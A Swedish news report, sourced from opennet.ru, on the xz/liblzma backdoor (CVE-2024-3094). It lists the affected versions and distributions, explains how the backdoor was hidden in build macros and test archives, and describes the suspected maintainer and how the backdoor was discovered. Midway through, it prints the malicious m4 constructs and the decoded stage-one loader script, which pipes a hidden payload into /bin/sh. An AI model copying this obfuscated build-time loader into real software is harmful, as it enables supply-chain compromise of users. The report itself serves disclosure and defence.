I xz/liblzma-biblioteket identifierades en bakdörr som möjliggör åtkomst via sshd.

I paketet XZ Utils, som inkluderar liblzma-biblioteket och verktyg för att arbeta med komprimerade filer i formatet ".xz", har en bakdörr identifierats (CVE-2024-3094) som gör det möjligt att fånga och modifiera data som hanteras av applikationer relaterade till liblzma-biblioteket. Bakdörrens huvudmål är OpenSSH-servern, som i vissa distributioner är kopplad till libsystemd-biblioteket, vilket i sin tur använder liblzma. Att koppla sshd till det sårbara biblioteket gör det möjligt för angripare att få åtkomst till SSH-servern utan autentisering.

Bakdörren fanns i de officiella versionerna 5.6.0 och 5.6.1, som publicerades den 24 februari och 9 mars, och som hann komma med i vissa distributioner och arkiv, exempelvis Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide och 40-beta, openSUSE factory och tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Alla användare av versionerna xz 5.6.0 och 5.6.1 rekommenderas att omedelbart återgå till version 5.4.6.

Bland de faktorer som mildrar problemet kan nämnas att versionen av liblzma med bakdörren inte lyckades inkluderas i stabila distributioner av större operativsystem, men påverkade openSUSE Tumbleweed och Fedora 40-beta. Arch Linux och Gentoo använde den sårbara versionen av zx, men är inte sårbara för attacken, eftersom de inte tillämpar patchen för openssh som stöder systemd-notify, vilket leder till att sshd kopplas till liblzma. Bakdörren påverkar endast system med x86_64 arkitektur baserade på Linux-kärnan och C-biblioteket Glibc.

Koden för att aktivera bakdörren var gömd i m4-makron från filen build-to-host.m4, som användes av automake-verktyget vid kompilering. Vid kompileringen skapades en objektfil med skadlig kod genom att utföra komplicerade obfuskeringoperationer baserade på arkiv (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), som användes för att testa korrektheten. Dessa skadliga objektfiler inkluderades i liblzma-biblioteket och ändrade logiken i vissa av dess funktioner. M4-makron som aktiverade bakdörren ingick i tar-arkiven för utgåvorna men saknades i Git-repositoryt. Vid denna tidpunkt fanns de skadliga testarkiven i repositoryt, det vill säga den som införde bakdörren hade åtkomst både till repositoryt och till processerna för att skapa utgåvor.

När liblzma används i applikationer kunde skadliga ändringar användas för att fånga eller modifiera data samt påverka funktionen av sshd. Specifikt ersatte den skadliga koden funktionen RSA_public_decrypt för att kringgå autentiseringsprocessen i sshd. Bakdörren innehöll skydd mot upptäckte och visade sig inte när miljövariablerna LANG och TERM var inställda (d.v.s. vid körning av processen i terminalen) och när miljövariablerna LD_DEBUG och LD_PROFILE inte var inställda, och aktiverades endast vid körning av exekverbara filen \/usr\sbin\/sshd. Bakdörren hade också medel för att upptäcka körning i debug-miljöer.

Specifikt användes konstruktioner i filen m4\/build-to-host.m4 gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir\/ 2>\/dev\/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>\/dev\/null’

I den första konstruktionen hittade operationen grep filen tests\/files\/bad-3-corrupt_lzma2.xz, vars uppackning gav följande skript: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..\/..\/config.status;then eval `grep ^srcdir= ..\/..\/config.status` srcdir=»..\/..\/$srcdir» fi export i=»((head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +939)»;(xz -dc $srcdir\/tests\/files\/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|\/bin\/sh ####World####

Hur angripare lyckades få tillgång till infrastrukturen för projektet xz är fortfarande oklart. Det är också oklart hur många användare och projekt som har kommit att komprometteras till följd av backdoor-aktiviteten. Den misstänkta författaren till backdoor:en (JiaT75 – Jia Tan), som lade upp arkiv med skadlig kod i ett förråd, kommunicerade med Fedora-utvecklare och skickade pull-begärningar till Debian relaterade till övergången av distributionerna till version xz 5.6.0, och väckte ingen misstanke, då han har deltagit i utvecklingen av xz under de senaste två åren och är den näst viktigaste utvecklaren sett till antalet ändringar. Utöver projektet xz har den misstänkta författaren till backdoor:en även deltagit i utvecklingen av paketen xz-java och xz-embedded. Dessutom blev Jia Tan för några dagar sedan inkluderad bland maintainerna för projektet XZ Embedded, som används i Linux-kärnan.

Den skadliga ändringen upptäcktes efter analys av överdriven CPU-användning och fel rapporterade av valgrind när man anslöt via ssh till system baserade på Debian sid. Det är anmärkningsvärt att ändringar, förberedda av den misstänkta författaren till backdoor:en som svar på klagomål om prestandaförsämring och kraschande sshd, inkluderades i versionen xz 5.6.1, som släpptes efter uppdateringen till version zx 5.6.0 med backdoor:en. Dessutom gjorde Jia Tan förra året ändringar som inte var förenliga med läget för kontroll "-fsanitize=address", vilket ledde till att detta stängdes av under fuzzing-testning.

Källa: opennet.ru